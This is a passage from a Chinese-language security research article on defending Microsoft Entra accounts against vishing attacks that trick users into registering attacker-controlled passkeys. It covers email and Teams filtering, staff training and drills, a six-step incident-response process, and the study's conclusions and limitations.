建立官方 IT 安全专线,统一公示核验渠道,员工收到安全升级呼叫可一键转接官方专线核验真伪。
5.3.3 邮件、消息渠道钓鱼过滤加固
配置 Exchange Online 邮件 DMARC 策略为 p=reject,拦截仿冒微软、企业 IT 部门钓鱼邮件;Teams 外部陌生人消息开启严格过滤,拦截携带仿冒 Entra 链接的私信,消除多渠道协同钓鱼投放路径。
5.4 第四层:常态化人员安全意识运营(消除社会工程可乘之机)
反网络钓鱼技术专家芦笛指出,所有技术防护手段均存在绕过可能性,语音钓鱼的核心突破口是用户心理漏洞,长期稳定的安全培训与演练是防御底层支撑,需摒弃年度单次培训的低效模式,建立常态化运营机制:
5.4.1 针对性 Vishing 语音钓鱼场景专项培训
培训内容聚焦本次攻击核心特征,明确三条不可突破操作规范:
任何电话内的 IT、微软安全人员,不得按照指引打开陌生链接、提供验证码、确认推送通知;
通行密钥注册、账号安全升级仅能通过企业内网门户、官方 Teams 安全通道发起,电话口述链接一律拒绝访问;
收到账号冻结风险胁迫话术,立即挂断电话,通过内部官方渠道核验,不配合通话内任何操作。
5.4.2 高频次语音钓鱼模拟演练
每季度开展全员定向 Vishing 红队演练,模拟 O-UNC-066 团伙标准化呼叫话术,演练后统计受骗率,针对高风险岗位(财务、行政、技术负责人)开展一对一复现教学,建立无惩罚可疑信息上报通道,鼓励员工主动上报陌生安全呼叫。
5.4.3 标准化账号劫持应急处置培训
全员普及发现陌生通行密钥后的处置流程:第一时间断开终端网络、修改静态账号密码、登录 Entra 安全页面删除所有未知 Passkey、注销全部活跃会话、上报企业安全团队、重置全部 MFA 验证方式,消除攻击者持久后门权限。
5.5 账号被 Passkey 劫持后的标准化应急处置闭环流程
若监测或用户上报发生通行密钥注册劫持事件,执行六步标准化处置流程,实现风险快速收敛:
账号紧急隔离:Entra 后台临时锁定涉事账号,终止全部云端会话,阻断攻击者依靠 Passkey 持续访问;
凭据全面重置:强制用户修改账号密码,删除所有非本人注册的通行密钥、陌生 MFA 设备;
终端安全排查:员工办公设备 EDR 全盘扫描,排查是否留存钓鱼套件缓存、恶意脚本;
威胁溯源取证:导出 Entra 登录日志、Passkey 注册日志、网络访问日志,提取攻击 IP、仿冒域名 IOC,同步至威胁情报平台全局封禁;
受损资产核查:审计该账号权限范围内邮件、云文档、客户数据,排查是否存在数据外泄、文件加密痕迹;
复盘迭代优化:更新企业钓鱼培训案例,调整 Entra 条件访问风险策略,优化 SOC 检测告警规则,补齐防护短板。
6 总结与研究展望
6.1 研究核心结论
本文以 BleepingComputer 披露的 Microsoft Entra 通行密钥注册语音钓鱼事件为核心样本,完整拆解 O-UNC-066 威胁团伙的复合攻击链路,结合 WebAuthn 协议底层规范、Python 与前端 WebAuthn 代码复现实验,搭配反网络钓鱼技术专家芦笛的专业研判,得出三项核心结论:
第一,Passkey 通行密钥原生抗钓鱼能力存在明确场景边界,仅能防御静态仿冒网页直接登录攻击,无法抵御语音社会工程诱导下的实时中间人 MFA 中继、新增持久密钥劫持攻击;攻击并非 WebAuthn 协议存在安全漏洞,而是协议安全设计未覆盖人工实时协同社会工程的复合威胁场景,企业不能默认部署通行密钥即可完全消除钓鱼风险。
第二,本次 Entra Vishing 攻击相较于传统网络钓鱼危害层级显著提升,攻击者通过注册自有 FIDO 通行密钥建立永久账号后门,仅修改密码无法阻断权限,防御体系必须从单一用户培训升级为协议策略、云监测、终端网络、人员意识四层联动闭环防护,缺一不可。
第三,企业落地 Microsoft 365 通行密钥体系时,需同步配套高敏感操作风险自适应条件访问、设备托管管控、陌生密钥注册实时告警三大核心技术策略,同时常态化开展语音钓鱼专项演练,从技术、管理、人员维度同步缩小攻击面,形成完整防御闭环。
6.2 研究局限
本文研究存在两处客观局限:其一,实验代码仅复现攻击核心会话中继、WebAuthn 注册交互逻辑,未完整复刻境外呼叫中心、批量域名注册黑产基础设施,完整攻击链路需结合红队实战环境搭建;其二,缺少大规模政企租户真实攻击样本统计数据,防御策略防护效果未通过上万用户量级对照实验量化验证,后续可结合企业 SOC 全年威胁日志开展数据统计分析。
6.3 未来无密码身份安全防护发展展望
反网络钓鱼技术专家芦笛提出,应对 Passkey 新型复合钓鱼攻击,未来身份安全防护将向三大方向演进:一是 WebAuthn 协议迭代优化,针对新增通行密钥等高敏感操作增加二次独立 RP 域名校验,从密码学层面阻断实时中继劫持;二是云身份平台内置语音呼叫风险联动检测,打通运营商来电数据与 Entra 风险引擎,陌生高危呼叫后同步触发账号操作限流;三是零信任身份体系深度落地,即便攻击者劫持账号通行密钥,依托设备可信验证、细粒度应用权限管控,限制攻击者横向移动与核心数据访问权限,形成多层权限隔离兜底防护。
随着无密码认证全面普及,威胁黑产将持续针对 Passkey 注册、重置、设备同步等高敏感流程迭代社会工程攻击手段,政企安全团队需持续跟踪新型 Vishing、AiTM 复合攻击 TTP,动态迭代身份管控策略、终端检测规则与安全培训内容,持续缩小身份安全攻击面,构建适配无密码时代的长效网络安全防御体系。
编辑:芦笛(公共互联网反网络钓鱼工作组)